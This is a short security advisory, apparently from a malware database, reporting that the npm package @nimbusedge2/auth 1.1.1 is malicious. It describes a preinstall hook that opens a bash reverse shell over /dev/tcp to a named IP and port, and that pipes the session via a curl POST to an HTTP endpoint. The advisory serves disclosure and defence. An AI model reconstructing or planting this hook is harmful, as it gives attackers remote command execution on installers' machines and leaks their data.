MAL-2026-16302
Malicious code in @nimbusedge2/auth (npm)
Details
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## Source: amazon-inspector (00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba) @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.
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Affected packages
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